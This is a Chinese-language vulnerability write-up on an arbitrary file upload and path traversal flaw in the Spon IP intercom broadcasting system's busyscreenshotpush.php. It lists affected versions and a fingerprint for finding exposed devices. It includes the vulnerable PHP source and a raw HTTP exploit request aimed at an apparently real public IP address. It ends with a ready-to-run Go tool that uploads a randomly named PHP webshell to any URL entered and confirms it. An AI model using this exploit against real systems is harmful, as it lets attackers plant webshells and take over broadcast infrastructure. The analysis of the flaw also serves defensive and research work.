世邦 IP 网络对讲广播系统任意文件上传

13

漏洞描述

Spon Intercom Broadcasting System 是世邦通信股份有限公司的一个对讲广播系统。

busyscreenshotpush.php 文件 存在目录穿越以及任意文件上传漏洞。

影响范围

V1.0.13_20190314_RELEASE

V2.0.1_20190822_RELEASE - V2.0.5_20200308_RELEASE

V3.0.1_20200818_RELEASE(STD) - V3.0.5_20210509_RELEASE(STD)

资产测绘

icon_hash="-1830859634"

漏洞复现

登录界面

图片-tqvt.png

busyscreenshotpush.php

<?php
$postData = $_POST['jsondata'];
$arr['res'] = 0;
$arr['errors'] = "undefine";
$arr['result'] = "";

$caller = "";
$callee = "";
$imagename = "";
$imagecontent = "";
if (isset($postData['caller']))
{
    $caller = $postData['caller'];
}
if (isset($postData['callee']))
{
    $callee = $postData['callee'];
}
if (isset($postData['imagename']))
{
    $imagename = $postData['imagename'];
}
if (isset($postData['imagecontent']))
{
    $imagecontent = $postData['imagecontent'];
}

if ($caller != "" && $callee != "" && $imagename != "" && $imagecontent != "") 
{
	$imagenamevalues = explode('_', $imagename);
	if (count($imagenamevalues) == 3)
	{
		$uploaddir = "../../../Uploadtmp/busyscreenshot/".$callee;
		if (!is_dir($uploaddir)) mkdir($uploaddir,0777,true);
		
		$imagefile = $uploaddir."/".$imagename;
		
		$content = trim($imagecontent);
		
		if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $content, $result)) 
		{
			if ( file_put_contents($imagefile, base64_decode(str_replace($result[1], '', $content))) )
			{
				$imagefilesize = filesize($imagefile);
				if ( $imagefilesize > 0)
				{
					$arr['res'] = 1;
					$arr['errors'] = "upload ".$imagename." success!";
				}
				else
				{
					$arr['res'] = -1;
					$arr['errors'] = "upload ".$imagename." filesize is ".$imagefilesize.", failed!";
				}
			}
			else
			{
				$arr['res'] = -2;
				$arr['errors'] = "file_put_contents ".$imagename." failed!";
			}
		}
		else
		{
			if ( file_put_contents($imagefile, base64_decode($content)) )
				{ 
				$imagefilesize = filesize($imagefile);
				if ( $imagefilesize > 0)
				{
					$arr['res'] = 1;
					$arr['errors'] = "upload ".$imagename." success!";
				}
				else
				{
					$arr['res'] = -1;
					$arr['errors'] = "upload ".$imagename." filesize is ".$imagefilesize.", failed!";
				}
			}
			else
			{
				$arr['res'] = -2;
				$arr['errors'] = "file_put_contents ".$imagename." failed!";
			}
		}
	}
	else
	{
		$arr['res'] = -3;
		$arr['errors'] = "imagename: (".$imagename.") is illegal format, failed!";
	}
}
else
{
	$arr['res'] = 0;
	$arr['errors'] = "please input caller($caller), callee($callee), imagename($imagename) and imagecontent!";
}

echo "{\"res\":\"".$arr['res']."\"".$arr['result'].",\"errors\":\"".$arr['errors']."\"}";

?>

busyscreenshotpush.php 接收 4 个参数,且 4 个参数不能为空

$imagenamevalues 将 $imagename 以 _ 分割,分割后数组长度必须等于 3,因此 $imagename 应该为 1_1_1.php 这种格式

$uploaddir 为上传路径,拼接了 $callee 且无任何过滤,因此可以利用 ../ 回溯符号穿越路径

$content 为 base64 编码的文件内容,无论是否满足正则表达式的匹配规则,最终都会调用 PHP 内置函数 file_put_contents 进行文件写入操作

POC

POST /php/busyscreenshotpush.php HTTP/1.1
Host: 171.221.202.31:7006
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 149
Origin: http://171.221.202.31:7006
Connection: close
Referer: http://171.221.202.31:7006/html/userlist.html?t=0.42263095114776184

jsondata%5Bcaller%5D=1&jsondata%5Bcallee%5D=../../Wnmp/WWW/php/&jsondata%5Bimagename%5D=1_1_1.php&jsondata%5Bimagecontent%5D=PD9waHAgcGhwaW5mbygpOw==

数据包中起到作用的只有后面 3 个参数,caller 没有进行任何处理,可以为任意非空值

访问路径 /php/1_1_1.php 验证

POC&EXP

package main

import (
	"bytes"
	"crypto/tls"
	"fmt"
	"math/rand"
	"net/http"
	"strings"
	"time"
)

const (
	colorRed   = "\033[31m"
	colorGreen = "\033[32m"
	colorBlue  = "\033[34m"
	colorReset = "\033[0m"
)

func poc(url string) bool {

	path := "/php/busyscreenshotpush.php"
	shell_name := generateRandomFileName()

	payload := fmt.Sprintf("jsondata%%5Bcaller%%5D=1&jsondata%%5Bcallee%%5D=../../Wnmp/WWW/php/&jsondata%%5Bimagename%%5D=%s&jsondata%%5Bimagecontent%%5D=PD9waHAgcGhwaW5mbygpOw==", shell_name)

	vulnerable := false

	vulnUrl := url + path
	client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
	resp, err := client.Post(vulnUrl, "application/x-www-form-urlencoded", strings.NewReader(payload))
	checkError(err)
	defer resp.Body.Close()

	checkUrl := url + "/php/" + shell_name
	resp2, err := client.Post(checkUrl, "application/x-www-form-urlencoded", strings.NewReader(payload))
	checkError(err)
	defer resp.Body.Close()

	// 读取并输出响应体
	responseBody := new(bytes.Buffer)
	_, err = responseBody.ReadFrom(resp2.Body)
	checkError(err)

	if resp2.StatusCode == 200 && strings.Contains(responseBody.String(), "PHP Version") {
		fmt.Printf("\nwebshell: %s, code: %d\n", checkUrl, resp2.StatusCode)
		vulnerable = true
	}

	return vulnerable
}

// 生成随机文件名,格式为 *_*_*.php
func generateRandomFileName() string {
	rand.Seed(time.Now().UnixNano())

	// 定义可能的字符
	chars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

	// 生成随机部分
	generateRandomPart := func(length int) string {
		part := make([]byte, length)
		for i := 0; i < length; i++ {
			part[i] = chars[rand.Intn(len(chars))]
		}
		return string(part)
	}

	// 生成三个随机部分,每部分长度为随机值
	part1 := generateRandomPart(rand.Intn(5) + 1)
	part2 := generateRandomPart(rand.Intn(5) + 1)
	part3 := generateRandomPart(rand.Intn(5) + 1)

	// 组合生成的文件名
	fileName := fmt.Sprintf("%s_%s_%s.php", part1, part2, part3)
	return fileName
}

func checkError(err error) bool {
	if err != nil {
		fmt.Printf("%s[error] %s%s\n\n", colorRed, err, colorReset)
		return true
	}
	return false
}

func main() {
	fmt.Printf("\n%s世邦 IP 网络对讲广播系统任意文件上传%s\n\n", colorBlue, colorReset)
	fmt.Print("url > ")
	var url string
	fmt.Scanln(&url)

	vulnerable := poc(url)

	if vulnerable {
		fmt.Printf("\n%s[+] %s 存在漏洞%s\n\n", colorGreen, url, colorReset)
	} else {
		fmt.Printf("\n%s[-] %s 不存在漏洞%s\n\n", colorRed, url, colorReset)
	}
}

运行效果